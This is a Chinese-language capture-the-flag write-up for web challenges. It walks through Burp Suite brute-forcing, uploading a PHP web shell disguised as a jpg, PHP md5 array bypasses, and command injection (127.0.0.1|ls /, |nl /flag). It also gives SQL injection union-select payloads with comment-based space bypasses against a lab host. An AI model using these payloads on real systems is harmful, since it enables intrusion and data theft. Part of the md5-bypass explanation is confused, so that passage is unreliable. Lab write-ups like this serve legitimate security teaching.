flag在哪?
用bp进行repeater
点击send 往下就找到了flag
传个参吧
打开网址
查看源代码
看到这个
就在后面加上/?hint
然后点击F12 用hackbar
观察代码
输入
Exam=Welcom_come_to_Yunxi_Exam
找到了flag
easy_upload
新建一句话木马的jpg文件 上传
用蚁剑进行连接
这说明用jpg格式是不对的
那用bp进行抓包
第一种是在Proxy
将jpg改成php 然后点Forward
第二种是用 Repeater
把jpg改成php 然后点send
下面用蚁剑连接
连接成功 点添加
然后点进这个地址 找到flag
Boom!
尝试一般可能的密码 (password和zxc12345)
没用那就用bp进行爆破
点击intruder
我们要先点击clear$
然后选择我们要爆破的 添加$
因为先前给的提示是密码是学号2021228041..
所以我们把type改为数字 然后缩小范围
开始爆破
点击Lenth(这是响应长度)
发现202122804177最短 则找到密码
输入密码
easy_include
我们首先输入127.0.0.1查看本地的文件包含
依据web网络的组成原理吗,我们默认此页面为根目录页面,我们尝试直接打开flag文件
输入flag.php
查看源代码得到flag
easy_php
判断两个if语句
这段代码的意思是检查两个变量 $a 和 $b 是否被设置并且不为 null,使用了 isset() 函数进行判断。如果这两个变量都存在,代码会进入第一个 if 语句块
在第一个 if 语句块中,代码使用 md5() 函数对 $a 和 $b 进行哈希运算,并将它们的哈希值进行比较。如果它们的哈希值相同,同时 $a 和 $b 的值不相等,那么代码会进入第二个 if 语句块
在第二个 if 语句块中,代码输出 "only one pace" 并在下一行打印一个换行符 "\n"。换行符的作用是将输出的内容放在下一行。如果条件不满足,则代码不会输出任何内容
第一段md5比较有两种方法来进行绕过
通过碰撞攻击生成相同的哈希值:可以尝试使用碰撞攻击技术生成与目标哈希值相同的输入数据。由于哈希算法本身存在碰撞问题,因此理论上可以找到两个不同的输入数据,它们的哈希值相同。一旦找到这样的数据,就可以将它们作为 $a 和 $b 的值来绕过比较
绕过哈希值比较:如果无法生成相同的哈希值,可以尝试绕过比较逻辑。例如,可以在 $a 和 $b 中使用相同的字符串,而不是不同的字符串,这样它们的哈希值将相同,并且 $a 和 $b 的值也相同,从而绕过比较
我们先进行第一个绕过
http://192.168.31.77:8808/?0[]=%27%27&1[]=
这说明成功地绕过了第一个比较
继续分析第二个if语句
该if语句用于检查变量 $a 是否与数字 2023 不相等,同时将 $a 的第一个字符转换为整数后是否等于 2023。如果条件满足,则输出变量 $flag 的值
如果 if 条件不满足,则执行该 else 语句块。该语句使用 highlight_file() 函数来高亮显示 index.php 文件的内容
这是一个闭合的大括号,它表示 if 语句块的结束。如果在 if 语句块之外存在其他代码,则该 else 语句块将用于处理这些代码。如果变量 $a 未定义,则该 else 语句块也将用于高亮显示 index.php 文件的内容
上一步构建的组合是数组的形式默认为a!=2023
只要将a[]的值变为2023便可以绕过第二个条件
http://192.168.31.77:8808/?0[]=2023&1[]=1
easy_sql
easy_rce
先输入127.0.0.1去连接试试
有回显
然后打开当前目录文件
输入 127.0.0.1|ls
发现有文件,但没有flag
那就试试打开根目录
输入127.0.0.1|ls /
有flag
那就打开flag文件
输入 127.0.0.1|cat /flag
结果没有回显
可能是cat命令被过滤掉了
那就试试其他的打开命令
输入127.0.0.1|nl /flag
不好看就打开源代码
easy_sql
看到这个我们就先用常见管理员账号密码试试
admin
password/zxc12345
有回显
用bp抓包,然后试试一些可能 发送后看Render会回显会给出什么
找到注入点在usename
然后这题是空格需要用/**/绕过
试试万能密码 '/**/or/**/1=1#
开始注入爆表
用
0'/**/union/**/select/**/database(),2,3#
爆库
并且用子目录来查询 按正常爆表是爆不出来的
-1'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from
/**/information_schema.tables/**/where/**/table_schema='yunxi_exam'),2,3#
然后开始爆字段
-1'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from
/**/information_schema.columns/**/where/**/table_name='bighacker'),2,3#
爆出flag
-1'/**/union/**/select/**/group_concat(concat_ws("~",hack2,hack3)),2,3/**/from/**/bighacker#